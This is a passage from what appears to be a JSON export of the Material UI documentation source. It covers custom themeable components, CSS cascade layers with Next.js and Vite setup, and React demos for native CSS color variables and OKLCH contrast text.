      // the slot name defined in the `slot` and `overridesResolver` parameters\n        // of the `styled` API\n        root: {\n          backgroundColor: '#121212',\n        },\n        value: {\n          color: '#fff',\n        },\n        unit: {\n          color: '#888',\n        },\n      },\n    },\n  },\n});\n```\n\n### 3. Style the slot with ownerState\n\nWhen you need to style the slot-based props or internal state, wrap them in the `ownerState` object and pass it to each slot as a prop.\nThe `ownerState` is a special name that will not spread to the DOM via the `styled` API.\n\nAdd a `variant` prop to the `Stat` component and use it to style the `root` slot, as shown below:\n\n```diff\n  const Stat = React.forwardRef(function Stat(props, ref) {\n+   const { value, unit, variant, ...other } = props;\n+\n+   const ownerState = { ...props, variant };\n\n    return (\n-      <StatRoot ref={ref} {...other}>\n-        <StatValue>{value}</StatValue>\n-        <StatUnit>{unit}</StatUnit>\n-      </StatRoot>\n+      <StatRoot ref={ref} ownerState={ownerState} {...other}>\n+        <StatValue ownerState={ownerState}>{value}</StatValue>\n+        <StatUnit ownerState={ownerState}>{unit}</StatUnit>\n+      </StatRoot>\n    );\n  });\n```\n\nThen you can read `ownerState` in the slot to style it based on the `variant` prop.\n\n```diff\n  const StatRoot = styled('div', {\n    name: 'MuiStat',\n    slot: 'root',\n-  })(({ theme }) => ({\n+  })(({ theme, ownerState }) => ({\n    display: 'flex',\n    flexDirection: 'column',\n    gap: theme.spacing(0.5),\n    padding: theme.spacing(3, 4),\n    backgroundColor: theme.palette.background.paper,\n    borderRadius: theme.shape.borderRadius,\n    boxShadow: theme.shadows[2],\n    letterSpacing: '-0.025em',\n    fontWeight: 600,\n    ...theme.applyStyles('dark', {\n      backgroundColor: 'inherit',\n    }),\n+   ...ownerState.variant === 'outlined' && {\n+    border: `2px solid ${theme.palette.divider}`,\n+   },\n  }));\n```\n\n### 4. Support theme default props\n\nTo customize your component's default props for different projects, you need to use the `useThemeProps` API.\n\n```diff\n+ import { useThemeProps } from '@mui/material/styles';\n\n- const Stat = React.forwardRef(function Stat(props, ref) {\n+ const Stat = React.forwardRef(function Stat(inProps, ref) {\n+   const props = useThemeProps({ props: inProps, name: 'MuiStat' });\n    const { value, unit, ...other } = props;\n\n    return (\n      <StatRoot ref={ref} {...other}>\n        <StatValue>{value}</StatValue>\n        <StatUnit>{unit}</StatUnit>\n      </StatRoot>\n    );\n  });\n```\n\nThen you can customize the default props of your component like this:\n\n```js\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  components: {\n    MuiStat: {\n      defaultProps: {\n        variant: 'outlined',\n      },\n    },\n  },\n});\n```\n\n## TypeScript\n\nIf you use TypeScript, you must create interfaces for the component props and ownerState:\n\n```js\ninterface StatProps {\n  value: number | string;\n  unit: string;\n  variant?: 'outlined';\n}\n\ninterface StatOwnerState extends StatProps {\n  // …key value pairs for the internal state that you want to style the slot\n  // but don't want to expose to the users\n}\n```\n\nThen you can use them in the component and slots.\n\n```js\nconst StatRoot = styled('div', {\n  name: 'MuiStat',\n  slot: 'root',\n})<{ ownerState: StatOwnerState }>(({ theme, ownerState }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: theme.spacing(0.5),\n  padding: theme.spacing(3, 4),\n  backgroundColor: theme.palette.background.paper,\n  borderRadius: theme.shape.borderRadius,\n  boxShadow: theme.shadows[2],\n  letterSpacing: '-0.025em',\n  fontWeight: 600,\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'inherit',\n  }),\n  // typed-safe access to the `variant` prop\n  ...(ownerState.variant === 'outlined' && {\n    border: `2px solid ${theme.palette.divider}`,\n    boxShadow: 'none',\n  }),\n}));\n\n// …do the same for other slots\n\nconst Stat = React.forwardRef<HTMLDivElement, StatProps>(function Stat(inProps, ref) {\n  const props = useThemeProps({ props: inProps, name: 'MuiStat' });\n  const { value, unit, variant, ...other } = props;\n\n  const ownerState = { ...props, variant };\n\n  return (\n    <StatRoot ref={ref} ownerState={ownerState} {...other}>\n      <StatValue ownerState={ownerState}>{value}</StatValue>\n      <StatUnit ownerState={ownerState}>{unit}</StatUnit>\n    </StatRoot>\n  );\n});\n```\n\nFinally, add the Stat component to the theme types.\n\n```ts\nimport {\n  ComponentsOverrides,\n  ComponentsVariants,\n  Theme as MuiTheme,\n} from '@mui/material/styles';\nimport { StatProps } from 'path/to/Stat';\n\ntype Theme = Omit<MuiTheme, 'components'>;\n\ndeclare module '@mui/material/styles' {\n  interface ComponentNameToClassKey {\n    MuiStat: 'root' | 'value' | 'unit';\n  }\n\n  interface ComponentsPropsList {\n    MuiStat: Partial<StatProps>;\n  }\n\n  interface Components {\n    MuiStat?: {\n      defaultProps?: ComponentsPropsList['MuiStat'];\n      styleOverrides?: ComponentsOverrides<Theme>['MuiStat'];\n      variants?: ComponentsVariants['MuiStat'];\n    };\n  }\n}\n```\n\n---\n\n## Template\n\nThis template is the final product of the step-by-step guide above, demonstrating how to build a custom component that can be styled with the theme as if it was a built-in component.\n\n{{\"demo\": \"StatFullTemplate.js\", \"defaultCodeOpen\": true}}\n"
  },
  {
    "path": "docs/data/material/customization/css-layers/CssLayersCaveat.js",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Accordion from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\n\nexport default function CssLayersCaveat() {\n  const [cssLayers, setCssLayers] = React.useState(false);\n  const theme = React.useMemo(() => {\n    return createTheme({\n      modularCssLayers: cssLayers,\n      cssVariables: true,\n      components: {\n        MuiAccordion: {\n          styleOverrides: {\n            root: {\n              margin: 0,\n            },\n          },\n        },\n      },\n    });\n  }, [cssLayers]);\n  return (\n    <div>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'center',\n          justifyContent: 'center',\n          marginBottom: '16px',\n        }}\n      >\n        <Typography\n          component=\"span\"\n          sx={{ marginRight: '8px', fontSize: '14px', color: 'text.secondary' }}\n        >\n          No CSS Layers\n        </Typography>\n        <Switch checked={cssLayers} onChange={() => setCssLayers(!cssLayers)} />\n        <Typography\n          component=\"span\"\n          sx={{ marginLeft: '8px', fontSize: '14px', color: 'text.secondary' }}\n        >\n          With CSS Layers\n        </Typography>\n      </Box>\n      <ThemeProvider theme={theme}>\n        <div>\n          <Accordion defaultExpanded>\n            <AccordionSummary\n              expandIcon={<ExpandMoreIcon />}\n              aria-controls=\"panel1-content\"\n              id=\"panel1-header\"\n            >\n              <Typography component=\"span\">Accordion 1</Typography>\n            </AccordionSummary>\n            <AccordionDetails>\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n              malesuada lacus ex, sit amet blandit leo lobortis eget.\n            </AccordionDetails>\n          </Accordion>\n          <Accordion>\n            <AccordionSummary\n              expandIcon={<ExpandMoreIcon />}\n              aria-controls=\"panel2-content\"\n              id=\"panel2-header\"\n            >\n              <Typography component=\"span\">Accordion 2</Typography>\n            </AccordionSummary>\n            <AccordionDetails>\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n              malesuada lacus ex, sit amet blandit leo lobortis eget.\n            </AccordionDetails>\n          </Accordion>\n        </div>\n      </ThemeProvider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-layers/CssLayersCaveat.tsx",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Accordion from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport Box from '@mui/material/Box';\nimport Switch from '@mui/material/Switch';\n\nexport default function CssLayersCaveat() {\n  const [cssLayers, setCssLayers] = React.useState(false);\n  const theme = React.useMemo(() => {\n    return createTheme({\n      modularCssLayers: cssLayers,\n      cssVariables: true,\n      components: {\n        MuiAccordion: {\n          styleOverrides: {\n            root: {\n              margin: 0,\n            },\n          },\n        },\n      },\n    });\n  }, [cssLayers]);\n  return (\n    <div>\n      <Box\n        sx={{\n          display: 'flex',\n          alignItems: 'center',\n          justifyContent: 'center',\n          marginBottom: '16px',\n        }}\n      >\n        <Typography\n          component=\"span\"\n          sx={{ marginRight: '8px', fontSize: '14px', color: 'text.secondary' }}\n        >\n          No CSS Layers\n        </Typography>\n        <Switch checked={cssLayers} onChange={() => setCssLayers(!cssLayers)} />\n        <Typography\n          component=\"span\"\n          sx={{ marginLeft: '8px', fontSize: '14px', color: 'text.secondary' }}\n        >\n          With CSS Layers\n        </Typography>\n      </Box>\n      <ThemeProvider theme={theme}>\n        <div>\n          <Accordion defaultExpanded>\n            <AccordionSummary\n              expandIcon={<ExpandMoreIcon />}\n              aria-controls=\"panel1-content\"\n              id=\"panel1-header\"\n            >\n              <Typography component=\"span\">Accordion 1</Typography>\n            </AccordionSummary>\n            <AccordionDetails>\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n              malesuada lacus ex, sit amet blandit leo lobortis eget.\n            </AccordionDetails>\n          </Accordion>\n          <Accordion>\n            <AccordionSummary\n              expandIcon={<ExpandMoreIcon />}\n              aria-controls=\"panel2-content\"\n              id=\"panel2-header\"\n            >\n              <Typography component=\"span\">Accordion 2</Typography>\n            </AccordionSummary>\n            <AccordionDetails>\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n              malesuada lacus ex, sit amet blandit leo lobortis eget.\n            </AccordionDetails>\n          </Accordion>\n        </div>\n      </ThemeProvider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-layers/CssLayersInput.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport FormControl from '@mui/material/FormControl';\nimport InputLabel from '@mui/material/InputLabel';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport FormHelperText from '@mui/material/FormHelperText';\n\nconst theme = createTheme({\n  modularCssLayers: true,\n  cssVariables: true,\n});\n\nexport default function CssLayersInput() {\n  return (\n    <ThemeProvider theme={theme}>\n      <FormControl variant=\"outlined\">\n        <InputLabel\n          shrink\n          htmlFor=\"css-layers-input\"\n          sx={{\n            width: 'fit-content',\n            transform: 'none',\n            position: 'relative',\n            mb: 0.25,\n            fontWeight: 'medium',\n            pointerEvents: 'auto',\n          }}\n        >\n          Label\n        </InputLabel>\n        <OutlinedInput\n          id=\"css-layers-input\"\n          placeholder=\"Type something\"\n          slotProps={{\n            input: {\n              sx: { py: 1.5, height: '2.5rem', boxSizing: 'border-box' },\n            },\n          }}\n        />\n        <FormHelperText sx={{ marginLeft: 0 }}>Helper text goes here</FormHelperText>\n      </FormControl>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-layers/CssLayersInput.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport FormControl from '@mui/material/FormControl';\nimport InputLabel from '@mui/material/InputLabel';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport FormHelperText from '@mui/material/FormHelperText';\n\nconst theme = createTheme({\n  modularCssLayers: true,\n  cssVariables: true,\n});\n\nexport default function CssLayersInput() {\n  return (\n    <ThemeProvider theme={theme}>\n      <FormControl variant=\"outlined\">\n        <InputLabel\n          shrink\n          htmlFor=\"css-layers-input\"\n          sx={{\n            width: 'fit-content',\n            transform: 'none',\n            position: 'relative',\n            mb: 0.25,\n            fontWeight: 'medium',\n            pointerEvents: 'auto',\n          }}\n        >\n          Label\n        </InputLabel>\n        <OutlinedInput\n          id=\"css-layers-input\"\n          placeholder=\"Type something\"\n          slotProps={{\n            input: {\n              sx: { py: 1.5, height: '2.5rem', boxSizing: 'border-box' },\n            },\n          }}\n        />\n        <FormHelperText sx={{ marginLeft: 0 }}>Helper text goes here</FormHelperText>\n      </FormControl>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-layers/css-layers.md",
    "content": "# CSS Layers\n\n<p class=\"description\">Learn how to generate Material UI styles with cascade layers.</p>\n\n## What are cascade layers?\n\nCascade layers are an advanced CSS feature that make it possible to control the order in which styles are applied to elements.\nIf you're not familiar with cascade layers, visit the [MDN documentation](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/Cascade_layers) for a detailed overview.\n\nBenefits of using cascade layers include:\n\n- **Improved specificity**: Cascade layers let you control the order of the styles, which can help avoid specificity conflicts. For example, you can theme a component without hitting the default specificity of the styles.\n- **Better integration with CSS frameworks**: With cascade layers, you can use Tailwind CSS v4 utility classes to override Material UI styles without the need for the `!important` directive.\n- **Better debuggability**: Cascade layers appear in the browser's dev tools, making it easier to see which styles are applied and in what order.\n\n## Implementing a single cascade layer\n\nThis method creates a single layer, namely `@layer mui`, for all Material UI components and global styles.\nThis is suitable for integrating with other styling solutions, such as Tailwind CSS v4, that use the `@layer` directive.\n\n### Next.js App Router\n\nStart by configuring Material UI with Next.js in the [App Router integration guide](/material-ui/integrations/nextjs/#app-router).\nThen follow these steps:\n\n1. Enable the [CSS layer feature](/material-ui/integrations/nextjs/#using-other-styling-solutions) in the root layout:\n\n```tsx title=\"src/app/layout.tsx\"\nimport { AppRouterCacheProvider } from '@mui/material-nextjs/v15-appRouter';\n\nexport default function RootLayout() {\n  return (\n    <html lang=\"en\" suppressHydrationWarning>\n      <body>\n        <AppRouterCacheProvider options={{ enableCssLayer: true }}>\n          {/* Your app */}\n        </AppRouterCacheProvider>\n      </body>\n    </html>\n  );\n}\n```\n\n2. Configure the layer order at the top of a CSS file to work with Tailwind CSS v4:\n\n```css title=\"src/app/globals.css\"\n@layer theme, base, mui, components, utilities;\n```\n\n### Next.js Pages Router\n\nStart by configuring Material UI with Next.js in the [Pages Router integration guide](/material-ui/integrations/nextjs/#pages-router).\nThen follow these steps:\n\n1. Enable the [CSS layer feature](/material-ui/integrations/nextjs/#configuration-2) in a custom `_document`:\n\n```tsx title=\"pages/_document.tsx\"\nimport {\n  createCache,\n  documentGetInitialProps,\n} from '@mui/material-nextjs/v15-pagesRouter';\n\n// ...\n\nMyDocument.getInitialProps = async (ctx: DocumentContext) => {\n  const finalProps = await documentGetInitialProps(ctx, {\n    emotionCache: createCache({ enableCssLayer: true }),\n  });\n  return finalProps;\n};\n```\n\n2. Configure the layer order with the `GlobalStyles` component to work with Tailwind CSS v4—it must be the first child of the `AppCacheProvider`:\n\n```tsx title=\"pages/_app.tsx\"\nimport { AppCacheProvider } from '@mui/material-nextjs/v15-pagesRouter';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nexport default function MyApp(props: AppProps) {\n  const { Component, pageProps } = props;\n  return (\n    <AppCacheProvider {...props}>\n      <GlobalStyles styles=\"@layer theme, base, mui, components, utilities;\" />\n      <Component {...pageProps} />\n    </AppCacheProvider>\n  );\n}\n```\n\n### Vite or any other SPA\n\nMake the following changes in `src/main.tsx`:\n\n1. Pass the `enableCssLayer` prop to the `StyledEngineProvider` component.\n2. Configure the layer order with the `GlobalStyles` component to work with Tailwind CSS v4.\n\n```tsx title=\"main.tsx\"\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport GlobalStyles from '@mui/material/GlobalStyles';\n\nReactDOM.createRoot(document.getElementById('root')!).render(\n  <React.StrictMode>\n    <StyledEngineProvider enableCssLayer>\n      <GlobalStyles styles=\"@layer theme, base, mui, components, utilities;\" />\n      {/* Your app */}\n    </StyledEngineProvider>\n  </React.StrictMode>,\n);\n```\n\n## Implementing multiple cascade layers\n\nAfter you've set up a [single cascade layer](#implementing-a-single-cascade-layer), you can split the styles into multiple layers to better organize them within Material UI.\nThis makes it simpler to apply theming and override styles with the `sx` prop.\n\nFirst, follow the steps from the [previous section](#implementing-a-single-cascade-layer) to enable the CSS layer feature.\nThen, create a new file and export the component that wraps the `ThemeProvider` from Material UI.\nFinally, pass the `modularCssLayers: true` option to the `createTheme` function:\n\n```tsx title=\"src/theme.tsx\"\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\nconst theme = createTheme({\n  modularCssLayers: true,\n});\n\nexport default function AppTheme({ children }: { children: ReactNode }) {\n  return <ThemeProvider theme={theme}>{children}</ThemeProvider>;\n}\n```\n\n{{\"demo\": \"CssLayersInput.js\"}}\n\nWhen this feature is enabled, Material UI generates these layers:\n\n- `@layer mui.global`: Global styles from the `GlobalStyles` and `CssBaseline` components.\n- `@layer mui.components`: Base styles for all Material UI components.\n- `@layer mui.theme`: Theme styles for all Material UI components.\n- `@layer mui.custom`: Custom styles for non-Material UI styled components.\n- `@layer mui.sx`: Styles from the `sx` prop.\n\nThe sections below demonstrate how to set up multiple cascade layers for Material UI with common React frameworks.\n\n### Next.js App Router\n\n```tsx title=\"src/theme.tsx\"\n'use client';\nimport React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\nconst theme = createTheme({\n  modularCssLayers: true,\n});\n\nexport default function AppTheme({ children }: { children: React.ReactNode }) {\n  return <ThemeProvider theme={theme}>{children}</ThemeProvider>;\n}\n```\n\n```tsx title=\"src/app/layout.tsx\"\nimport AppTheme from '../theme';\n\nexport default function RootLayout() {\n  return (\n    <html lang=\"en\" suppressHydrationWarning>\n      <body>\n        <AppRouterCacheProvider options={{ enableCssLayer: true }}>\n          <AppTheme>{/* Your app */}</AppTheme>\n        </AppRouterCacheProvider>\n      </body>\n    </html>\n  );\n}\n```\n\n### Next.js Pages Router\n\n```tsx title=\"src/theme.tsx\"\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\nconst theme = createTheme({\n  modularCssLayers: true,\n});\n\nexport default function AppTheme({ children }: { children: ReactNode }) {\n  return <ThemeProvider theme={theme}>{children}</ThemeProvider>;\n}\n```\n\n```tsx title=\"pages/_app.tsx\"\nimport AppTheme from '../src/theme';\n\nexport default function MyApp(props: AppProps) {\n  const { Component, pageProps } = props;\n  return (\n    <AppCacheProvider {...props}>\n      <AppTheme>\n        <Component {...pageProps} />\n      </AppTheme>\n    </AppCacheProvider>\n  );\n}\n```\n\n```tsx title=\"pages/_document.tsx\"\nimport {\n  createCache,\n  documentGetInitialProps,\n} from '@mui/material-nextjs/v15-pagesRouter';\n\nMyDocument.getInitialProps = async (ctx: DocumentContext) => {\n  const finalProps = await documentGetInitialProps(ctx, {\n    emotionCache: createCache({ enableCssLayer: true }),\n  });\n  return finalProps;\n};\n```\n\n### Vite or any other SPA\n\n```tsx title=\"src/theme.tsx\"\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\nconst theme = createTheme({\n  modularCssLayers: true,\n});\n\nexport default function AppTheme({ children }: { children: ReactNode }) {\n  return <ThemeProvider theme={theme}>{children}</ThemeProvider>;\n}\n```\n\n```tsx title=\"src/main.tsx\"\nimport AppTheme from './theme';\n\nReactDOM.createRoot(document.getElementById('root')!).render(\n  <React.StrictMode>\n    <StyledEngineProvider enableCssLayer>\n      <AppTheme>{/* Your app */}</AppTheme>\n    </StyledEngineProvider>\n  </React.StrictMode>,\n);\n```\n\n### Usage with other styling solutions\n\nTo integrate with other styling solutions, such as Tailwind CSS v4, replace the boolean value for `modularCssLayers` with a string specifying the layer order.\nMaterial UI will look for the `mui` identifier and generate the layers in the correct order:\n\n```diff title=\"src/theme.tsx\"\n const theme = createTheme({\n-  modularCssLayers: true,\n+  modularCssLayers: '@layer theme, base, mui, components, utilities;',\n });\n```\n\nThe generated CSS will look like this:\n\n```css\n@layer theme, base, mui.global, mui.components, mui.theme, mui.custom, mui.sx, components, utilities;\n```\n\n### Caveats\n\nIf you enable `modularCssLayers` in an app that already has custom styles and theme overrides applied to it, you may observe unexpected changes to the look and feel of the UI due to the differences in specificity before and after.\n\nFor example, if you have the following [theme style overrides](/material-ui/customization/theme-components/#theme-style-overrides) for the [Accordion](/material-ui/react-accordion/) component:\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiAccordion: {\n      styleOverrides: {\n        root: {\n          margin: 0,\n        },\n      },\n    },\n  },\n});\n```\n\nBy default, the margin from the theme does _not_ take precedence over the default margin styles when the accordion is expanded, because it has higher specificity than the theme styles—so this code has no effect.\n\nAfter enabling the `modularCssLayers` option, the margin from the theme _does_ take precedence because the theme layer comes after the components layer in the cascade order—so the style override is applied and the accordion has no margins when expanded.\n\n{{\"demo\": \"CssLayersCaveat.js\"}}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/AliasColorVariables.js",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n    cssVarPrefix: 'alias', // This is for the demo only, you don't need to set this to use the feature\n  },\n  palette: {\n    primary: {\n      main: 'var(--colors-brand-primary)',\n    },\n  },\n});\n\nexport default function AliasColorVariables() {\n  return (\n    <div>\n      {/* This is just a demo to replicate the global CSS file */}\n      <GlobalStyles\n        styles={{\n          ':root': {\n            '--colors-brand-primary': 'oklch(0.85 0.2 83.89)',\n          },\n        }}\n      />\n      {/* Your App */}\n      <ThemeProvider theme={theme}>\n        <Box sx={{ p: 2 }}>\n          <Button variant=\"contained\">Branded Button</Button>\n        </Box>\n      </ThemeProvider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/AliasColorVariables.tsx",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n    cssVarPrefix: 'alias', // This is for the demo only, you don't need to set this to use the feature\n  },\n  palette: {\n    primary: {\n      main: 'var(--colors-brand-primary)',\n    },\n  },\n});\n\nexport default function AliasColorVariables() {\n  return (\n    <div>\n      {/* This is just a demo to replicate the global CSS file */}\n      <GlobalStyles\n        styles={{\n          ':root': {\n            '--colors-brand-primary': 'oklch(0.85 0.2 83.89)',\n          },\n        }}\n      />\n\n      {/* Your App */}\n      <ThemeProvider theme={theme}>\n        <Box sx={{ p: 2 }}>\n          <Button variant=\"contained\">Branded Button</Button>\n        </Box>\n      </ThemeProvider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/AliasColorVariables.tsx.preview",
    "content": "{/* This is just a demo to replicate the global CSS file */}\n<GlobalStyles\n  styles={{\n    ':root': {\n      '--colors-brand-primary': 'oklch(0.85 0.2 83.89)',\n    },\n  }}\n/>\n\n{/* Your App */}\n<ThemeProvider theme={theme}>\n  <Box sx={{ p: 2 }}>\n    <Button variant=\"contained\">Branded Button</Button>\n  </Box>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/ContrastTextDemo.js",
    "content": "import * as React from 'react';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\n\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n    cssVarPrefix: 'contrast', // This is for the demo only, you don't need to set this to use the feature\n  },\n});\n\nexport default function ContrastTextDemo() {\n  const [lightness, setLightness] = React.useState(0.65);\n  const [chroma, setChroma] = React.useState(0.3);\n  const [hue, setHue] = React.useState(29);\n\n  // Create OKLCH color from slider values\n  const backgroundColor = `oklch(${lightness} ${chroma} ${hue})`;\n\n  // Get contrast text using theme function\n  const contrastText = theme.palette.getContrastText(backgroundColor);\n\n  return (\n    <ThemeProvider theme={theme}>\n      <Box\n        sx={{\n          p: 2,\n          display: 'flex',\n          gap: 5,\n          alignItems: 'flex-start',\n          justifyContent: 'center',\n          width: '100%',\n          flexWrap: 'wrap',\n        }}\n      >\n        {/* Live Preview Square */}\n        <Box\n          sx={{\n            mt: 2,\n            width: 200,\n            height: 200,\n            bgcolor: backgroundColor,\n            color: contrastText,\n            display: 'flex',\n            flexDirection: 'column',\n            justifyContent: 'center',\n            alignItems: 'center',\n            textAlign: 'center',\n            borderRadius: 1,\n            border: '1px solid',\n            borderColor: 'divider',\n            flexShrink: 0,\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontFamily: 'monospace' }}>\n            {backgroundColor}\n          </Typography>\n        </Box>\n        {/* Sliders */}\n        <Box sx={{ flex: '1 1 300px', maxWidth: 400 }}>\n          <Typography variant=\"h6\" gutterBottom>\n            OKLCH\n          </Typography>\n          <div>\n            <Typography variant=\"body2\" gutterBottom>\n              Lightness: {lightness}\n            </Typography>\n            <Slider\n              value={lightness}\n              onChange={(_, value) => setLightness(value)}\n              min={0}\n              max={1}\n              step={0.01}\n              valueLabelDisplay=\"auto\"\n            />\n          </div>\n\n          <div>\n            <Typography variant=\"body2\" gutterBottom>\n              Chroma: {chroma}\n            </Typography>\n            <Slider\n              value={chroma}\n              onChange={(_, value) => setChroma(value)}\n              min={0}\n              max={0.4}\n              step={0.01}\n              valueLabelDisplay=\"auto\"\n            />\n          </div>\n\n          <div>\n            <Typography variant=\"body2\" gutterBottom>\n              Hue: {hue}°\n            </Typography>\n            <Slider\n              value={hue}\n              onChange={(_, value) => setHue(value)}\n              min={0}\n              max={360}\n              step={1}\n              valueLabelDisplay=\"auto\"\n            />\n          </div>\n        </Box>\n        <Box\n          sx={{\n            p: 2,\n            display: 'flex',\n            gap: 3,\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontFamily: 'monospace' }}>\n            <b>Text color:</b> {contrastText}\n          </Typography>\n        </Box>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/ContrastTextDemo.tsx",
    "content": "import * as React from 'react';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Slider from '@mui/material/Slider';\n\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n    cssVarPrefix: 'contrast', // This is for the demo only, you don't need to set this to use the feature\n  },\n});\n\nexport default function ContrastTextDemo() {\n  const [lightness, setLightness] = React.useState(0.65);\n  const [chroma, setChroma] = React.useState(0.3);\n  const [hue, setHue] = React.useState(29);\n\n  // Create OKLCH color from slider values\n  const backgroundColor = `oklch(${lightness} ${chroma} ${hue})`;\n\n  // Get contrast text using theme function\n  const contrastText = theme.palette.getContrastText(backgroundColor);\n\n  return (\n    <ThemeProvider theme={theme}>\n      <Box\n        sx={{\n          p: 2,\n          display: 'flex',\n          gap: 5,\n          alignItems: 'flex-start',\n          justifyContent: 'center',\n          width: '100%',\n          flexWrap: 'wrap',\n        }}\n      >\n        {/* Live Preview Square */}\n        <Box\n          sx={{\n            mt: 2,\n            width: 200,\n            height: 200,\n            bgcolor: backgroundColor,\n            color: contrastText,\n            display: 'flex',\n            flexDirection: 'column',\n            justifyContent: 'center',\n            alignItems: 'center',\n            textAlign: 'center',\n            borderRadius: 1,\n            border: '1px solid',\n            borderColor: 'divider',\n            flexShrink: 0,\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontFamily: 'monospace' }}>\n            {backgroundColor}\n          </Typography>\n        </Box>\n        {/* Sliders */}\n        <Box sx={{ flex: '1 1 300px', maxWidth: 400 }}>\n          <Typography variant=\"h6\" gutterBottom>\n            OKLCH\n          </Typography>\n          <div>\n            <Typography variant=\"body2\" gutterBottom>\n              Lightness: {lightness}\n            </Typography>\n            <Slider\n              value={lightness}\n              onChange={(_, value) => setLightness(value)}\n              min={0}\n              max={1}\n              step={0.01}\n              valueLabelDisplay=\"auto\"\n            />\n          </div>\n\n          <div>\n            <Typography variant=\"body2\" gutterBottom>\n              Chroma: {chroma}\n            </Typography>\n            <Slider\n              value={chroma}\n              onChange={(_, value) => setChroma(value)}\n              min={0}\n              max={0.4}\n              step={0.01}\n              valueLabelDisplay=\"auto\"\n            />\n          </div>\n\n          <div>\n            <Typography variant=\"body2\" gutterBottom>\n              Hue: {hue}°\n            </Typography>\n            <Slider\n              value={hue}\n              onChange={(_, value) => setHue(value)}\n              min={0}\n              max={360}\n              step={1}\n              valueLabelDisplay=\"auto\"\n            />\n          </div>\n        </Box>\n        <Box\n          sx={{\n            p: 2,\n            display: 'flex',\n            gap: 3,\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontFamily: 'monospace' }}>\n            <b>Text color:</b> {contrastText}\n          </Typography>\n        </Box>\n      </Box>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/css-theme-variables/CustomColorSpace.js",
    "content": "import { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardActions from '@mui/material/CardActions';\nimport Alert from '@mui/material/Alert';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  cssVariables: {\n    nativeColor: true,\n    cssVarPrefix: 'colorSpace', // This is for the demo only, you don't need to set this to use the feature\n  },\n  palette: {\n    primary: {\n      main: 'oklch(0.65 0.3 28.95)',\n    },\n    warning: {\n      main: 'oklch(0.72 0.24 44.32)',\n    },\n  },\n});\n\nexport default function CustomColorSpace() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Card>\n        <CardContent>\n          <Alert severity=\"info\" color=\"warning\">\n            This theme uses the <code>oklch</code> color space.\n          </Alert>\n        </CardContent>\n        <CardActions sx={{ justifyContent: 'flex-end' }}>\n          <Button variant=\"contained\" color=\"primary\">\n            Submit\n          </Button>\n          <Button variant=\"outlined\" color=\"primary\">\n            Cancel\n          </Button>\n        </CardActions>\n      </Card>\n    </ThemeProvider>\n  